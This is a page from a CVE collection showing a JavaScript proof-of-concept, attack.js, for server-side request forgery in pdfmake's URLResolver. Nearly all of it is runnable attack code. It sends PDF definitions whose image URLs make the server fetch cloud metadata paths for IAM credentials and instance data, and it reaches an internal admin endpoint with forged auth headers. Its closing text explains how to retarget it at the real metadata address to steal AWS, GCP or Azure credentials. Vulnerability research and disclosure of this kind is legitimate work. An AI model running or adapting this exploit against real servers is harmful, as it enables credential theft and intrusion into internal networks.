5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / attack.js JS
/**
 * SSRF Attack Script for pdfmake
 *
 * Demonstrates Server-Side Request Forgery via docDefinition URLs
 * Target: pdfmake URLResolver.js - zero URL validation
 */

const VULNERABLE_SERVER = 'http://127.0.0.1:3000';
const METADATA_SERVER = 'http://127.0.0.1:8888';

// Attack payloads
const attacks = [
  {
    name: 'AWS Metadata - Credential Theft',
    description: 'Steal IAM role credentials from EC2 instance',
    payload: {
      content: [{ text: 'SSRF PoC', style: 'header' }],
      styles: { header: { fontSize: 18 } },
      images: {
        // This URL will be fetched by the server!
        stolen_creds: `${METADATA_SERVER}/latest/meta-data/iam/security-credentials/vulnerable-ec2-role`
      }
    }
  },
  {
    name: 'AWS Metadata - Instance Discovery',
    description: 'Enumerate instance metadata',
    payload: {
      content: ['Metadata Enumeration'],
      images: {
        instance_id: `${METADATA_SERVER}/latest/meta-data/instance-id`,
        local_ip: `${METADATA_SERVER}/latest/meta-data/local-ipv4`,
        public_ip: `${METADATA_SERVER}/latest/meta-data/public-ipv4`
      }
    }
  },
  {
    name: 'Custom Headers - Auth Bypass',
    description: 'SSRF with custom authentication headers',
    payload: {
      content: ['Auth Bypass Test'],
      images: {
        // pdfmake supports custom headers per URL!
        internal_api: {
          url: `${METADATA_SERVER}/internal/admin`,
          headers: {
            'X-Internal-Auth': 'trusted-service',
            'Authorization': 'Bearer internal-token-12345'
          }
        }
      }
    }
  }
];

// Execute attack
async function executeAttack(attack) {
  console.log(`\n${'='.repeat(60)}`);
  console.log(`ATTACK: ${attack.name}`);
  console.log(`DESC:   ${attack.description}`);
  console.log('='.repeat(60));
  console.log('\n[*] Payload:');
  console.log(JSON.stringify(attack.payload, null, 2));
  console.log('\n[*] Sending to vulnerable server...');

  try {
    const response = await fetch(`${VULNERABLE_SERVER}/api/generate-pdf`, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify(attack.payload)
    });

    const status = response.status;
    console.log(`[*] Response status: ${status}`);

    if (response.ok) {
      console.log('[+] SUCCESS - PDF generated (SSRF triggered!)');
      console.log('[+] Check the metadata server logs for proof of SSRF');
    } else {
      const error = await response.text();
      console.log(`[-] Server error: ${error.substring(0, 200)}`);
      console.log('[!] Note: SSRF may still have been triggered before error!');
    }

  } catch (error) {
    console.log(`[-] Connection error: ${error.message}`);
    console.log('[!] Is the vulnerable server running on port 3000?');
  }
}

// Main
async function main() {
  console.log(`
╔═══════════════════════════════════════════════════════════════╗
║           PDFMAKE SSRF VULNERABILITY - PROOF OF CONCEPT       ║
╠═══════════════════════════════════════════════════════════════╣
║  Target:  pdfmake URLResolver.js                              ║
║  Issue:   Zero URL validation in fetch()                      ║
║  Impact:  AWS metadata theft, internal network access         ║
╚═══════════════════════════════════════════════════════════════╝
`);

  console.log('[*] Prerequisites:');
  console.log('    1. Mock metadata server running on port 8888');
  console.log('    2. Vulnerable server running on port 3000');
  console.log('');

  // Run first attack (credential theft) as primary demo
  await executeAttack(attacks[0]);

  console.log(`\n${'='.repeat(60)}`);
  console.log('VERIFICATION');
  console.log('='.repeat(60));
  console.log(`
If successful, you should see in the METADATA SERVER terminal:

  [METADATA] >>> CREDENTIALS LEAKED! <<<

This proves the vulnerable server made an outbound request
to our controlled endpoint - a classic SSRF vulnerability.

In a real attack scenario:
  - Replace ${METADATA_SERVER} with http://169.254.169.254
  - Steal actual AWS/GCP/Azure credentials
  - Access internal services, databases, admin panels
`);
}

main().catch(console.error);